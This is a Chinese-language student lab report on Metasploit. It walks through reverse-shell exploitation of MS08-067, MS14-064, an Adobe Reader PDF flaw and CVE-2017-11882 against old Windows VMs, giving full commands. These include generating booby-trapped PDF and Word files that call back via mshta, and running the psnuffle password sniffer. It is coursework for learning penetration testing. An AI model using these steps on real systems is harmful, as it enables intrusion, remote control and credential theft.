实验内容
一个主动攻击实践,如ms08_067;
一个针对浏览器的攻击,如ms11_050;
一个针对客户端的攻击,如Adobe;
成功应用任何一个辅助模块。
实验原理
MSF主要模块:渗透攻击模块
(Exploit Modules)、辅助模块
(Auxiliary Modules)、攻击载荷
(Payload Modules)、空字段模块
(Nop Modules)、编码模块
(Encoders)、后渗透攻击模块
(Post)
查看模块源码的目录:/usr/share/metasploit-framework/modules
本次实验使用的是Exploit Modules
和Auxiliary Modules
-
Exploit Modules
:指利用某种漏洞对目标主机进行攻击。渗透就是说攻击者通过目标主机上的一个漏洞将自己的恶意代码注入目标主机的系统,就像白蚁一样,从一个洞慢慢攻破整栋建筑。 -
Auxiliary Modules
:帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。它和渗透攻击模块之间的关系就好像观察者和狙击手的关系,前者负责观察网络环境,得到准确的信息;后者就根据收集到的信息进行攻击。
实验步骤
(一)一个主动攻击实践
ms08_067(成功)
原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
实验环境
计算机 | 系统 | IP地址 |
---|---|---|
主机 | kali | 192.168.1.144 |
靶机 | Windows 2000 Universal | 192.168.1.164 |
步骤
1、kali中输入msfconsole
进入控制台
2、在msf模式下输入search ms08_067
或者search ms08-067
查找与其相关的漏洞攻击程序,看到exploit/windows/smb/ms08_067_netapi的信息
3、输入命令use exploit/windows/smb/ms08_067_netapi
使用该漏洞攻击程序
4 、输入命令show payloads
查找metasploit下的有效攻击荷载(payload)
5、使用命令set payload generic/shell_reverse_tcp
设置我们想要用的payload
6、使用show options
查看该payload的状态,使用show targets
查看可以使用的攻击类型
7、设置参数选项
set RHOST “目标主机的ip”
set LHOST “监听主机的ip”
set target 0 //自动选取
set LPORT “监听主机的端口号”
show options //再次查看payload的状态
8、使用exploit
指令开始攻击,攻击成功后获取靶机的shell
(二)一个针对浏览器的攻击
ms14_064(成功)
原理:Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本
实验环境
计算机 | 系统 | IP地址 |
---|---|---|
主机 | kali | 192.168.1.144 |
靶机 | Windows XP Service Pack3+IE8 | 192.168.1.216 |
步骤
1、kali中输入msfconsole
进入控制台
2、在msf模式下输入search ms14_064
查找与其相关的漏洞攻击程序,看到exploit/windows/browser/ms14_064_ole_code_execution
3、输入命令use windows/browser/ms14_064_ole_code_execution
使用该漏洞攻击程序
4 、输入命令show payloads
查找metasploit下的有效攻击荷载(payload)
5、使用命令set payload windows/meterpreter/reverse_tcp
设置我们想要用的payload
6、设置参数选项
set SRVHOST 192.168.1.144 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell, 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.1.144
set LPORT 5215
set target 0 //设置winXP靶机
7、使用exploit
指令开始攻击
8、将生成的URL地址在winXP的IE中打开,建立了一个会话
9、输入sessions
查看会话相关信息
10、输入sessions -i 1
即可选择第一个会话,获取shell权限
(三)一个针对客户端的攻击
Adobe(成功)
原理:针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
实验环境
计算机 | 系统 | IP地址 |
---|---|---|
主机 | kali | 192.168.1.144 |
靶机 | Windows XP Service Pack3+Adobe Reader 9.3 | 192.168.1.164 |
步骤
1、kali中输入msfconsole
进入控制台
2、在msf模式下输入search adobe
查找与其相关的漏洞攻击程序,看到exploit/windows/browser/adobe_cooltype_sing
3、输入命令use windows/fileformat/adobe_cooltype_sing
使用该漏洞攻击程序
4 、输入命令show payloads
查找metasploit下的有效攻击荷载(payload)
5、设置payload和参数选项
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.144
set LPORT 5215
set FILENAME 20165215.pdf
6、使用exploit
指令开始攻击,输入back
指令退出当前模块
7、将生成的20165215.pdf
文件复制到靶机上
8、打开监听模块,设置payloads和参数选项
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.144
set LPORT 5215
9、输入exploit
开始监听
10、将靶机中的pdf文件打开,攻击机成功获取到靶机shell
CVE-2017-11882(成功且唯一)
原理:此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行
实验环境
计算机 | 系统 | IP地址 |
---|---|---|
主机 | kali | 192.168.116.140 |
靶机 | Windows 7 + office2013 | 192.168.116.130 |
步骤
1、在Github上下载MSF组件“Command109b_CVE-2017-11882.py”、“cve_2017_11882.rtf” 和python脚本“Command109b_CVE-2017-11882.py”
2、将“cve_2017_11882.rb”复制到/usr/share/metasploit-framework/modules/exploits/windows/smb/
目录下
3、把下载的“cve_2017_11882.rtf”复制到/usr/share/metasploit-framework/data/exploits/
目录下
4、把“Command109b_CVE-2017-11882.py”复制到/root/
目录下
5、输入msfconsole
进入控制台,然后输入reload_all
命令重新加载所有模块
6、输入命令search cve-2017-11882
测试虚拟机环境
7、输入命令use /exploits/windows/smb/`cve_2017_11882
使用该漏洞攻击模块
8、设置payload和参数选项
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.116.140
set LPORT 5215
set URIPATH test
9、输入exploit
开始攻击
10、打开另一终端,输入python Command109b_CVE-2017-11882.py -c "mshta http://192.168.116.140:8080/test" -o kail_help.doc
生成word文件
11、把生成的kail_help
复制到靶机中打开,是个空白文档
12、回连成功,输入sessions -i 1
接管会话,成功获取靶机shell
(四)应用辅助模块的攻击
sniffer(成功)
原理:psnuffle是metasploit中的口令嗅探工具,只有在接入对方网络的初始访问点后才能进行嗅探
实验环境
计算机 | 系统 | IP地址 |
---|---|---|
主机 | kali | 192.168.1.144 |
靶机 | Windows XP Service Pack3 | 192.168.1.164 |
步骤
1、进入/usr/share/metasploit-framework/modules/auxiliary
目录查看有什么项目
2、选择sniffer
网络嗅探器,进入目录,发现只有一个psnuffle.rb
3、输入msfconsole
进入控制台
4、输入use auxiliary/sniffer/psnuffle
使用该工具,并查看详细信息
由上图可知它嗅探的是任意协议,捕获的长度是65535bytes,时间限制是500s
5、设置靶机IP地址set RHOST 192.168.1.216
6、输入run
开始运行,在靶机打开浏览器,看到kali捕捉到了这次会话
实验中遇到的问题
问题1:攻击ms08_067漏洞时遇到如下问题
解决方法:确认靶机445端口开启,且模块的targets确实包含Windows XP SP3 Chinese - Traditional (NX),攻击仍然失效,网上有资料称该系统已打上此补丁,最后重新使用其它版本虚拟机进行攻击
基础问题回答
用自己的话解释什么是exploit,payload,encode.
- exploit就是通过漏洞将自己的恶意代码植入目标主机从而达到攻击的目的,指的是一种攻击的手段
- payload相当于是一段恶意代码,或者说是一个装有恶意代码的容器,通过载荷就可以控制目标主机
- encode是编码器,就是通过编码将恶意代码进行封装或伪装,使其不被目标主机检测为恶意程序
离实战还缺些什么技术或步骤
就实验而言,都是靶机主动触发恶意代码使攻击方入侵成功的,而在实际生活中,用户不会随意点击可疑文件、登录可疑网址,因此,我认为如何让用户在无意识地状态下执行恶意代码是攻击能否成功的关键,实验中利用的漏洞都是很久的版本,现在的软件早已打好补丁,因此发现新的漏洞也是实战成功的重要条件。